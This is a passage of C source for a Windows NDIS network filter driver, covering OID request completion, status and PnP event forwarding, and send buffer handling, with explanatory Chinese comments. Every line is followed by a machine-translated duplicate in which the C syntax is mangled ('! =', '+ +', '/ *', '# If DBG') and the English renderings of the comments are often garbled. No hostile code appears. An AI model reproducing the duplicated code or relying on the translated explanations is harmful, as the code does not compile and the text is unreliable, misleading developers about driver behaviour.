    FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);

    Request = pFilter->PendingOidRequest;  Request = pFilter-> PendingOidRequest;

    if (Request != NULL)  if (Request! = NULL)
    {  {
        Context = (PFILTER_REQUEST_CONTEXT)(&Request->SourceReserved[0]);  Context = (PFILTER_REQUEST_CONTEXT) (& Request-> SourceReserved [0]);

        OriginalRequest = (*Context);  OriginalRequest = (* Context);
    }  }

    if ((OriginalRequest != NULL) && (OriginalRequest->RequestId == RequestId))  if ((OriginalRequest! = NULL) && (OriginalRequest-> RequestId == RequestId))
    {  {
        FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);

        NdisFCancelOidRequest(pFilter->FilterHandle, RequestId);  NdisFCancelOidRequest (pFilter-> FilterHandle, RequestId);
    }  }
    else  else
    {  {
        FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
    }  }

}  }

VOID  VOID
FilterOidRequestComplete(  FilterOidRequestComplete (
        IN  NDIS_HANDLE         FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNDIS_OID_REQUEST   Request,  IN PNDIS_OID_REQUEST Request,
        IN  NDIS_STATUS         Status  IN NDIS_STATUS Status
        )  )

{  {
    PMS_FILTER                          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    PNDIS_OID_REQUEST                   OriginalRequest;  PNDIS_OID_REQUEST OriginalRequest;
    PFILTER_REQUEST_CONTEXT             Context;  PFILTER_REQUEST_CONTEXT Context;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    DEBUGP(DL_TRACE, ("===>FilterOidRequestComplete, Request %p.\n", Request));  DEBUGP (DL_TRACE, ("===> FilterOidRequestComplete, Request% p. \ N", Request));

    Context = (PFILTER_REQUEST_CONTEXT)(&Request->SourceReserved[0]);  Context = (PFILTER_REQUEST_CONTEXT) (& Request-> SourceReserved [0]);
    OriginalRequest = (*Context);  OriginalRequest = (* Context);

    if (OriginalRequest == NULL)  if (OriginalRequest == NULL)
    {  {
        filterInternalRequestComplete(pFilter, Request, Status);  filterInternalRequestComplete (pFilter, Request, Status);
        return;  return;
    }  }

    FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);

    ASSERT(pFilter->PendingOidRequest == Request);  ASSERT (pFilter-> PendingOidRequest == Request);
    pFilter->PendingOidRequest = NULL;  pFilter-> PendingOidRequest = NULL;

    FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);

    switch(Request->RequestType)  switch (Request-> RequestType)
    {  {
        case NdisRequestMethod:  case NdisRequestMethod:
            OriginalRequest->DATA.METHOD_INFORMATION.OutputBufferLength =  Request->DATA.METHOD_INFORMATION.OutputBufferLength;  OriginalRequest-> DATA.METHOD_INFORMATION.OutputBufferLength = Request-> DATA.METHOD_INFORMATION.OutputBufferLength;
            OriginalRequest->DATA.METHOD_INFORMATION.BytesRead = Request->DATA.METHOD_INFORMATION.BytesRead;  OriginalRequest-> DATA.METHOD_INFORMATION.BytesRead = Request-> DATA.METHOD_INFORMATION.BytesRead;
            OriginalRequest->DATA.METHOD_INFORMATION.BytesNeeded = Request->DATA.METHOD_INFORMATION.BytesNeeded;   OriginalRequest-> DATA.METHOD_INFORMATION.BytesNeeded = Request-> DATA.METHOD_INFORMATION.BytesNeeded;
            OriginalRequest->DATA.METHOD_INFORMATION.BytesWritten = Request->DATA.METHOD_INFORMATION.BytesWritten;   OriginalRequest-> DATA.METHOD_INFORMATION.BytesWritten = Request-> DATA.METHOD_INFORMATION.BytesWritten;
            break;  break;

        case NdisRequestSetInformation:    case NdisRequestSetInformation:
            OriginalRequest->DATA.SET_INFORMATION.BytesRead = Request->DATA.SET_INFORMATION.BytesRead;  OriginalRequest-> DATA.SET_INFORMATION.BytesRead = Request-> DATA.SET_INFORMATION.BytesRead;
            OriginalRequest->DATA.SET_INFORMATION.BytesNeeded = Request->DATA.SET_INFORMATION.BytesNeeded;   OriginalRequest-> DATA.SET_INFORMATION.BytesNeeded = Request-> DATA.SET_INFORMATION.BytesNeeded;
            break;  break;

        case NdisRequestQueryInformation:  case NdisRequestQueryInformation:
        case NdisRequestQueryStatistics:  case NdisRequestQueryStatistics:
        default:       default:
            OriginalRequest->DATA.QUERY_INFORMATION.BytesWritten = Request->DATA.QUERY_INFORMATION.BytesWritten;  OriginalRequest-> DATA.QUERY_INFORMATION.BytesWritten = Request-> DATA.QUERY_INFORMATION.BytesWritten;
            OriginalRequest->DATA.QUERY_INFORMATION.BytesNeeded = Request->DATA.QUERY_INFORMATION.BytesNeeded;  OriginalRequest-> DATA.QUERY_INFORMATION.BytesNeeded = Request-> DATA.QUERY_INFORMATION.BytesNeeded;
            break;  break;
    }  }

    (*Context) = NULL;  (* Context) = NULL;

    NdisFreeCloneOidRequest(pFilter->FilterHandle, Request);  NdisFreeCloneOidRequest (pFilter-> FilterHandle, Request);

/* / *
如果FilterOidRequest返回NDIS_STATUS_PENDING,就必须在OID请求完成后调用NdisFOidRequestComplete 来通知上层驱动求请求完成。 If FilterOidRequest return NDIS_STATUS_PENDING, you must complete the OID request call NdisFOidRequestComplete to notify the upper drive demand request is complete.在这种情况下,请求的结果通过NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过Status参数返回请求完成的最终状态。 In this case, the result of the request through NdisFOidRequestComplete OidRequest parameters return to the upper-driven, and through the Status parameter to return the request to complete the final state.
要转发OID请求到下层驱动,Filter Driver必须调用NdisFOidRequest。 The forwarding OID request to the lower driver, Filter Driver must call NdisFOidRequest.
如果一个OID请求不能被转发到下层驱动应该当立即返回。 If an OID request can not be forwarded to the next lower driver should when to return immediately.
要完成一个请求且不转发可以直接返回NDIS_STATUS_SUCCESS或其它错误状态 To complete a request not forwarded directly to return NDIS_STATUS_SUCCESS or other error status
或返回NDIS_STATUS_PENDING后调用NdisFOidRequestComplete。 The or return NDIS_STATUS_PENDING call NdisFOidRequestComplete.
*/  * /

    NdisFOidRequestComplete(pFilter->FilterHandle, OriginalRequest, Status);  NdisFOidRequestComplete (pFilter-> FilterHandle, OriginalRequest, Status);

    DEBUGP(DL_TRACE, ("<===FilterOidRequestComplete.\n"));  DEBUGP (DL_TRACE, ("<=== FilterOidRequestComplete. \ N"));
}  }

/************************************************************* / ************************************************* ************
  FilterStatus函数的功能: Function of functions FilterStatus:
    当下层驱动报告状态的时候 NDIS会调用它。 NDIS will call it when the lower drive report.此外,Filter Driver还可以自己引发一个状态指示。 , Filter Driver can lead to a status indication.

当下层驱动调用一个状态指示例程时(NdisMIndicateStatusEx或NdisFIndicateStats),NDIS When the lower drive call a status indication routine (NdisMIndicateStatusEx or NdisFIndicateStats), NDIS
会调用Filter Driver的FilterStatus例程。 Call the Filter Driver FilterStatus routine.

Filter Driver在FilterStatus中调用NdisFIndicateStatus传递一个状态指示给上层驱动。 Filter Driver called in FilterStatus NdisFIndicateStatus pass a status indication to the upper drive.此外,还可以过滤状态指示(不用调用 NdisFIndicateStatus)或在调用 NdisFIndicateStatus之前修改状态信息。 In addition, you can also filter status indicator (do not call NdisFIndicateStatus) or modify the status information before calling NdisFIndicateStatus.

Filter Driver要自己引发一个状态报告,可以在NDIS未调用 FilterStatus的情况下调用NdisFIndicateStatus。 Filter Driver To trigger a status report, can call NdisFIndicateStatus NDIS not call FilterStatus.在这种情况下,Filter Driver要设置 SourceHandle 成员为 FilteAttech 参数提供的NdisFilterHandle句柄。 In this case, Filter Driver To set the NdisFilterHandle handle SourceHandle the members FilteAttech parameters.
如果一个状态指示是一个OID请求相关的(下层请求一个 OID 下层要做相应的状态指示),那么状态的DestinationHandle和RequestId成员要设置成上层的OID请求包携带的数据。 If a status indication is an OID request (lower request an OID lower to do the appropriate state instructions), then the state DestinationHandle and RequestId members want to set as the upper OID request packets carrying data.

Filter Driver调用NdisFIndicateStatus后NDIS会调用相邻上层的状态指示函数(ProtocolStatusEx或FilterStatus)。 Filter Driver the call NdisFIndicateStatus after NDIS will call the the adjacent upper state indicator function the (ProtocolStatusEx, or FilterStatus).
****************************************************************/  ************************************************** ************** /
VOID  VOID
FilterStatus(  FilterStatus (
        IN  NDIS_HANDLE             FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNDIS_STATUS_INDICATION StatusIndication  IN PNDIS_STATUS_INDICATION StatusIndication
        )  )

{  {
    PMS_FILTER              pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
#if DBG      # If DBG
    BOOLEAN                  bFalse = FALSE;  BOOLEAN bFalse = FALSE;
#endif  # Endif

    DEBUGP(DL_TRACE, ("===>FilterStaus, IndicateStatus = %8x.\n", StatusIndication->StatusCode));  DEBUGP (DL_TRACE, ("===> FilterStaus, IndicateStatus =% 8x. \ N", StatusIndication-> StatusCode));

#if DBG  # If DBG
    FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
    ASSERT(pFilter->bIndicating == FALSE);  ASSERT (pFilter-> bIndicating == FALSE);
    pFilter->bIndicating = TRUE;  pFilter-> bIndicating = TRUE;
    FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
#endif      # Endif

    NdisFIndicateStatus(pFilter->FilterHandle, StatusIndication);  NdisFIndicateStatus (pFilter-> FilterHandle, StatusIndication);

#if DBG      # If DBG
    FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
    ASSERT(pFilter->bIndicating == TRUE);  ASSERT (pFilter-> bIndicating == TRUE);
    pFilter->bIndicating = FALSE;  pFilter-> bIndicating = FALSE;

    FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);

#endif  # Endif

    DEBUGP(DL_TRACE, ("<===FilterStaus.\n"));  DEBUGP (DL_TRACE, ("<=== FilterStaus. \ N"));

}  }

/* / *
Filter Driver提供FilterPnpEventNotify来接收NDIS传递的PnP和电源管理事件 The Filter Driver provides FilterPnpEventNotify to receive NDIS pass PnP and power management events
*/  * /
VOID  VOID
FilterDevicePnPEventNotify(  FilterDevicePnPEventNotify (
        IN  NDIS_HANDLE             FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNET_DEVICE_PNP_EVENT   NetDevicePnPEvent  IN PNET_DEVICE_PNP_EVENT NetDevicePnPEvent
        )  )

{  {
    PMS_FILTER          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    NDIS_DEVICE_PNP_EVENT   DevicePnPEvent = NetDevicePnPEvent->DevicePnPEvent;  NDIS_DEVICE_PNP_EVENT DevicePnPEvent = NetDevicePnPEvent-> DevicePnPEvent;
#if DBG  # If DBG
    BOOLEAN             bFalse = FALSE;  BOOLEAN bFalse = FALSE;
#endif  # Endif

    DEBUGP(DL_TRACE, ("===>FilterDevicePnPEventNotify: NetPnPEvent = %p.\n", NetDevicePnPEvent));  DEBUGP (DL_TRACE, ("===> FilterDevicePnPEventNotify: NetPnPEvent =% p. \ N", NetDevicePnPEvent));

    switch (DevicePnPEvent)  switch (DevicePnPEvent)
    {  {

        case NdisDevicePnPEventQueryRemoved:   case NdisDevicePnPEventQueryRemoved:
        case NdisDevicePnPEventRemoved:  case NdisDevicePnPEventRemoved:
        case NdisDevicePnPEventSurpriseRemoved:  case NdisDevicePnPEventSurpriseRemoved:
        case NdisDevicePnPEventQueryStopped:  case NdisDevicePnPEventQueryStopped:
        case NdisDevicePnPEventStopped:  case NdisDevicePnPEventStopped:
        case NdisDevicePnPEventPowerProfileChanged:  case NdisDevicePnPEventPowerProfileChanged:
        case NdisDevicePnPEventFilterListChanged:  case NdisDevicePnPEventFilterListChanged:

            break;  break;

        default:  default:
            DEBUGP(DL_ERROR, ("FilterDevicePnPEventNotify: Invalid event.\n"));  DEBUGP (DL_ERROR, ("FilterDevicePnPEventNotify: Invalid event. \ N"));
            FILTER_ASSERT(bFalse);  FILTER_ASSERT (bFalse);

            break;  break;
    }  }

  //Filter Driver要下层驱动转发收到的事件,转发事件要用到NdisFDevicePnPEventNotify例程  / / Filter Driver To lower driving forward the event received and forwarded events use to NdisFDevicePnPEventNotify routine
    NdisFDevicePnPEventNotify(pFilter->FilterHandle, NetDevicePnPEvent);  NdisFDevicePnPEventNotify (pFilter-> FilterHandle, NetDevicePnPEvent);

    DEBUGP(DL_TRACE, ("<===FilterDevicePnPEventNotify\n"));  DEBUGP (DL_TRACE, ("<=== FilterDevicePnPEventNotify \ n"));

}  }

/* / *
Filter Driver提供了FilterNetPnpEvent例程来处理网络Pnp和电源管理事件通知。 The Filter Driver FilterNetPnpEvent routines to handle network the Pnp and the power management event notification.
*/  * /
NDIS_STATUS  NDIS_STATUS
FilterNetPnPEvent(  FilterNetPnPEvent (
        IN  NDIS_HANDLE             FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNET_PNP_EVENT_NOTIFICATION NetPnPEventNotification  IN PNET_PNP_EVENT_NOTIFICATION NetPnPEventNotification
        )  )
{  {
    PMS_FILTER             pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    NDIS_STATUS           Status = NDIS_STATUS_SUCCESS;  NDIS_STATUS Status = NDIS_STATUS_SUCCESS;

//Filter Driver需要转发网络PnP和电源管理事件给上层驱动。 / / Filter Driver network PnP and power management events need to be forwarded to the upper drive.转发这些事件是通NdisFNetPnpEvent来完成的。 Forwarding these events through NdisFNetPnpEvent to complete.
    Status = NdisFNetPnPEvent(pFilter->FilterHandle, NetPnPEventNotification);  Status = NdisFNetPnPEvent (pFilter-> FilterHandle, NetPnPEventNotification);

    return Status;  return Status;
}  }

/************************************************************** / ************************************************* *************
 FilterSendNetBufferListsComplete函数的功能: Function of function FilterSendNetBufferListsComplete:
  NDIS调用 FilterSendNetBufferListsComplete 把发送的结构和数据返还给 Filter Driver。 The NDIS invoked FilterSendNetBufferListsComplete send the structure and the data is returned to the Filter Driver. NDIS可以收集多次NdisFSendNetBufferLists发送的结构和数据形成一个单链表传递给FilterSendNetBufferListsComplete。 NDIS can form a single linked list structure and data collection of several NdisFSendNetBufferLists sent passed to FilterSendNetBufferListsComplete.除非到NDIS调用FilterSendNetBufferListsComplete,否则一个发送请求的当前状态总是未知的。 Unless the NDIS call FilterSendNetBufferListsComplete, or send a request always unknown.

  一个过滤驱动是不能在NDIS调用FilterSendNetBufferListsComplete返回结构之前对NET_BUFFER_LIST和其关联的数据做检查的。 A filter driver can not return structures in NDIS call FilterSendNetBufferListsComplete is of NET_BUFFER_LIST and its associated data check. FilterSendNetBufferListsComplete要完成一个发送请求完成后的任何必要的后继处理。 FilterSendNetBufferListsComplete to complete a transmission request is completed any necessary subsequent processing.当NDIS调用FilterSendNetBufferListsComplete时,Filter Driver就重新获地对结构及结构相关资源的所有权。 In the NDIS call FilterSendNetBufferListsComplete, Filter Driver regain ownership of the land on the structure and structural resources.可以在 FilterSendNetBufferListsComplete中释放相关的资源和准备下一个NdisFSendNetBufferLists调用。 Released in FilterSendNetBufferListsComplete related resources and ready to to under a NdisFSendNetBufferLists call.

  NDIS总是按照过滤驱动调用NdisFSendNetBufferLists提交的顺序传递给下层驱动,但是回返FilterSendNetBufferListsComplete 的顺序则是任意的。 NDIS always pass the filter driver the call NdisFSendNetBufferLists submit the order to the lower drive but the return FilterSendNetBufferListsComplete order is arbitrary. Filter Driver可以请求一个回环发送请求,只要把NdisFSendNetBufferLists的SendFlags设置成NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK就行了。 The Filter Driver may request a loopback sends a request, as long as the the NdisFSendNetBufferLists the SendFlags to set into NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK the line. NDIS会引发一个包含发送数据的接收包指示。 The NDIS will lead a send data receiver package directions.

  一个Filter Driver应该对自己引发的发送请求保持跟踪并确保在完成时不调用NdisFSendNetBufferComplete例程。 A Filter Driver should be triggered send requests to keep track and ensure completion call NdisFSendNetBufferComplete routine.
 **************************************************************/  ************************************************** ************ /
VOID  VOID
FilterSendNetBufferListsComplete(  FilterSendNetBufferListsComplete (
        IN  NDIS_HANDLE         FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNET_BUFFER_LIST    NetBufferLists,  IN PNET_BUFFER_LIST NetBufferLists,
        IN  ULONG               SendCompleteFlags  IN ULONG SendCompleteFlags
        )  )

{  {
    PMS_FILTER         pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    ULONG              NumOfSendCompletes = 0;  ULONG NumOfSendCompletes = 0;
    BOOLEAN            DispatchLevel;  BOOLEAN DispatchLevel;
    PNET_BUFFER_LIST   CurrNbl;  PNET_BUFFER_LIST CurrNbl;

    DEBUGP(DL_TRACE, ("===>SendNBLComplete, NetBufferList: %p.\n", NetBufferLists));  DEBUGP (DL_TRACE, ("===> SendNBLComplete, NetBufferList:% p. \ N", NetBufferLists));

    if (pFilter->TrackSends)  if (pFilter-> TrackSends)
    {  {
        CurrNbl = NetBufferLists;  CurrNbl = NetBufferLists;
        while (CurrNbl)  while (CurrNbl)
        {  {
            NumOfSendCompletes++;  NumOfSendCompletes + +;
            CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);  CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);

        }  }
        DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL(SendCompleteFlags);  DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL (SendCompleteFlags);
        FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
        pFilter->OutstandingSends -= NumOfSendCompletes;  pFilter-> OutstandingSends - = NumOfSendCompletes;
        FILTER_LOG_SEND_REF(2, pFilter, PrevNbl, pFilter->OutstandingSends);          FILTER_LOG_SEND_REF (2, pFilter, PrevNbl, pFilter-> OutstandingSends);
        FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
    }  }

    NdisFSendNetBufferListsComplete(pFilter->FilterHandle, NetBufferLists, SendCompleteFlags);  NdisFSendNetBufferListsComplete (pFilter-> FilterHandle, NetBufferLists, SendCompleteFlags);

    DEBUGP(DL_TRACE, ("<===SendNBLComplete.\n"));  DEBUGP (DL_TRACE, ("<=== SendNBLComplete. \ N"));
}  }

/************************************************************* / ************************************************* ************
 FilterSendNetBufferLists函数的功能: Function of functions FilterSendNetBufferLists:
  NDIS调用一个Filter Driver的FilterSendNetBufferLists例程来过滤上层驱动的发送请求。 NDIS call the Filter Driver FilterSendNetBufferLists routine to filter the upper drive sends a request. Filter Driver不能改变其它驱动传来的NET_BUFFER_LIST结构中的SourceHandle成员的值。 Filter Driver can not change the value of the other drivers coming NET_BUFFER_LIST structure in the SourceHandle members.它可以过滤数据并发送过滤的数据到下层驱动。 It can filter the data and send the data of the filter to the lower drive.
  对每一个提交到FilterSendNetBufferLists的NDIS_BUFFER_LIST，我们可做下面的操作。 For each submitted to FilterSendNetBufferLists NDIS_BUFFER_LIST, we can do the following operations.

  1)可以把缓冲区通过 NdisFSendBufferLists 传递给下层驱动,NDIS 保证上下文空间对FilterDriver的有效性。 1) can be put buffer by NdisFSendBufferLists in passing to the lower driver, NDIS to ensure the validity of the context the space FilterDriver the.过滤驱动可以在发送前修改缓冲区的内容。 The filter driver can modify the contents of the buffer before sending.可以像处理自己引发的发送请求的缓冲区一样处理这个缓冲区。 Like like a buffer to deal with their own triggered by sending a request to deal with this buffer.
  2)可以调用 NdisFSendNetBufferListsComplete 拒绝传递这个包  2) can call NdisFSendNetBufferListsComplete refuse to pass this package
  3)排队缓冲区内容到本地的供以后处理。 3) to the local queuing buffer content for later processing.例如要在一定超时后处理或要接收到特定包后才处理等。 For example, after a certain timeout processing or to be received to a specific package before processing.如果支持这种处理方式就要支持取消请求的操作。 If you support this approach is necessary to support the operation of the cancellation request.
  4)可以拷贝缓冲区并引发一个发送请求。 4) copy buffer and trigger a send request.它类似自己引发一个发送请求,但必须先调用 NdisFSendNetBufferComplete返回上层驱动的缓冲区。 It is similar to its own to trigger a send request, but must call NdisFSendNetBufferComplete return to the upper drive buffer.

  发送请求在驱动栈继续完成,当一个微端口驱动调用NdisMSendNetBufferListsComplete完成一个发送请求时,NDIS会调用微端口 Send a request to complete driver stack when a miniport driver calls NdisMSendNetBufferListsComplete completion of a send request, NDIS calls the miniport
  驱动之上最近的Filter Driver的FilterSendNetBufferLists例程。 Drive above the the Filter Driver FilterSendNetBufferLists routine.

  在一个发送操作完成后,Filter Driver可以做在FilterSendNetBufferLists中所有修改的相反操作。 After a send operation to complete, Filter Driver the opposite operation can be done in FilterSendNetBufferLists modified. FilterSendNetBufferListsComplete返回一个NET_BUFFER_LIST结构的单链表和发送请求的最终状态给上层的驱动。 The final state of the single FilterSendNetBufferListsComplete return a NET_BUFFER_LIST structure linked list and send the request to the upper drive.当最顶层的 Filter Module的FilterSendNetBufferListsComplete被调用完成后NDIS会调用引发发送请求的协议驱动的ProtocolSendNetBufferListsComplete。 When the the topmost Filter Module FilterSendNetBufferListsComplete is after the call completes NDIS will call the initiator sends a request to the protocol driver ProtocolSendNetBufferListsComplete.如果Filter Driver不提供FilterSendNetBufferLists它还是可以引发一个发送操作的,但它必须提供一个FilterSendNetBufferListsComplete并且不能在这个例程里把这个事件传递给上层驱动。 Filter Driver does not provide FilterSendNetBufferLists it can still lead to a send operation, but it must provide a FilterSendNetBufferListsComplete and can not be in this routine, this event is passed to the upper drive.

  一个Filter Driver可以传递或过滤一个上层驱动的回环请求,要传递一个回环请求,NDIS会设置FilterSendNetBufferLists的SendFlags参数为NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK,Filter Driver在调用NdisFSendNetBufferLists时把这个标记传给它即可。 Loopback request, you can pass a Filter Driver or filter an upper drive to pass a loopback request, NDIS will to set FilterSendNetBufferLists SendFlags parameters for NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK Filter Driver call NdisFSendNetBufferLists this tag and pass it can.在回环请求的情况下NDIS会指示一个包含发送数据的接收包。 NDIS will indicate a received packet contains the transmission data in the case of loopback request.

  通常情况下,如果一个Filter Driver修改的任何行为不是NDIS提供的标准服务,那么它应该当自己为NDIS提供相应的服务。 Under normal circumstances, if a Filter Driver modify any behavior not NDIS standard services provided, then it should provide the necessary services for NDIS.例如,如果一个Filter Driver修改了一个硬件地址请求,就必须处理直接到这个新地址回环包。 For example, if a Filter Driver modify a hardware address request, it must be processed directly into this new address loopback packet.在这种情况下, 因为Filter Driver已经更改了地址NDIS是不能提供一个回环服务的。 In this case, since the Filter Driver has changed the address NDIS is not to provide a loopback services.
  还有就是如果Filter Driver设置了混杂模式那它就不能传递额外的数据给上层接收。 Filter Driver set promiscuous mode there is that it can not pass the additional data to the upper receiver.
**************************************************************/  ************************************************** ************ /

VOID  VOID
FilterSendNetBufferLists(  FilterSendNetBufferLists (
        IN  NDIS_HANDLE         FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNET_BUFFER_LIST    NetBufferLists,  IN PNET_BUFFER_LIST NetBufferLists,
        IN  NDIS_PORT_NUMBER    PortNumber,  IN NDIS_PORT_NUMBER PortNumber,
        IN  ULONG               SendFlags  IN ULONG SendFlags
        )  )

{  {
    PMS_FILTER          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    PNET_BUFFER_LIST    CurrNbl;  PNET_BUFFER_LIST CurrNbl;
    BOOLEAN             DispatchLevel;  BOOLEAN DispatchLevel;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    DEBUGP(DL_TRACE, ("===>SendNetBufferList: NBL = %p.\n", NetBufferLists));  DEBUGP (DL_TRACE, ("===> SendNetBufferList: NBL =% p. \ N", NetBufferLists));

    do  do
    {  {

       DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL(SendFlags);  DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL (SendFlags);

#if DBG   # If DBG

        FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);

        if (pFilter->State != FilterRunning)  if (pFilter-> State! = FilterRunning)
        {  {
            FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);

            CurrNbl = NetBufferLists;  CurrNbl = NetBufferLists;
            while (CurrNbl)  while (CurrNbl)
            {  {
                NET_BUFFER_LIST_STATUS(CurrNbl) = NDIS_STATUS_PAUSED;  NET_BUFFER_LIST_STATUS (CurrNbl) = NDIS_STATUS_PAUSED;
                CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);  CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
            }  }
            NdisFSendNetBufferListsComplete(pFilter->FilterHandle,   NdisFSendNetBufferListsComplete (pFilter-> FilterHandle,
                        NetBufferLists,   NetBufferLists,
                        DispatchLevel ? NDIS_SEND_COMPLETE_FLAGS_DISPATCH_LEVEL : 0);  DispatchLevel? NDIS_SEND_COMPLETE_FLAGS_DISPATCH_LEVEL: 0);
            break;  break;

        }  }
        FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
#endif  # Endif

/******************************************************/  / ************************************************* * /

             //在这里添加我们的代码  / / Add our code here

/******************************************************/  / ************************************************* * /

        if (pFilter->TrackSends)  if (pFilter-> TrackSends)
        {  {
            FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
            CurrNbl = NetBufferLists;  CurrNbl = NetBufferLists;
            while (CurrNbl)  while (CurrNbl)
            {  {
                pFilter->OutstandingSends++;  pFilter-> OutstandingSends + +;
                FILTER_LOG_SEND_REF(1, pFilter, CurrNbl, pFilter->OutstandingSends);  FILTER_LOG_SEND_REF (1, pFilter, CurrNbl, pFilter-> OutstandingSends);

                CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);  CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
            }  }
            FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel);  FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
        }  }

        NdisFSendNetBufferLists(pFilter->FilterHandle, NetBufferLists, PortNumber, SendFlags);  NdisFSendNetBufferLists (pFilter-> FilterHandle, NetBufferLists, PortNumber, SendFlags);

    }  }
    while (bFalse);  while (bFalse);

    DEBUGP(DL_TRACE, ("<===SendNetBufferList. \n"));  DEBUGP (DL_TRACE, ("<=== SendNetBufferList. \ N"));
}  }

/************************************************************* / ************************************************* ************
 FilterReturnNetBufferLists函数的功能: Function of functions FilterReturnNetBufferLists:
  如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state of NDIS_STATUS_SUCCESS, NDIS driven FilterReturnNetBufferLists
  返回指示数据。 Return indicating data.在这种情况下 Filter Driver失去了对NET_BUFFER_LIST的所有权,直到FilterReturnNetBufferLists被调用。 In this case, Filter Driver loses ownership to NET_BUFFER_LIST be invoked until FilterReturnNetBufferLists.

  Filter Driver调用NdisFIndicateNetBufferLists 传递接收指示给驱动栈上的上层驱动,如果上层驱动保留了对缓冲区(NET_BUFFER_LIST)的所有权,NDIS会调用Filter Driver的FilterReturnNetBufferLists 例程。 The Filter Driver calls NdisFIndicateNetBufferLists pass receiver instructions to the driver stack on the upper drive the upper drive retains ownership of the buffer (NET_BUFFER_LIST), NDIS will to call Filter Driver FilterReturnNetBufferLists routine.

  在FilterReturnNetBufferLists中应该撤消在接收路径上(如在 FilterReciveNetBufferLists中做的一些处理)的操作。 The in FilterReturnNetBufferLists should undo the operation on the receive path (as do some processing in FilterReciveNetBufferLists).当最底层的Filter Module完成对缓冲区(NET_BUFFER_LIST)的处理后,NDIS把缓冲区返回给微端口驱动。 When the bottom of the Filter Module completed on after the buffer (NET_BUFFER_LIST), processing, NDIS buffer returned to the miniport driver.如果FilterReceiveNetBufferLists的ReceiveFlags没有设置NDIS_RECEIVE_FLAGS_RESOURCES标记, FilterDriver调用NdisFReturnNetBufferList返回这个缓冲区数据,如果设置了FilterReceiveNetBufferLists直接返回时就把缓冲区返还给了下层微端口驱动。 If FilterReceiveNetBufferLists of ReceiveFlags no set NDIS_RECEIVE_FLAGS_RESOURCES mark, FilterDriver invoked NdisFReturnNetBufferList return this buffer data set FilterReceiveNetBufferLists returned directly put the buffer returned to the lower miniport driver.
 ***************************************************************/  ************************************************** ************* /
VOID  VOID
FilterReturnNetBufferLists(  FilterReturnNetBufferLists (
        IN  NDIS_HANDLE         FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
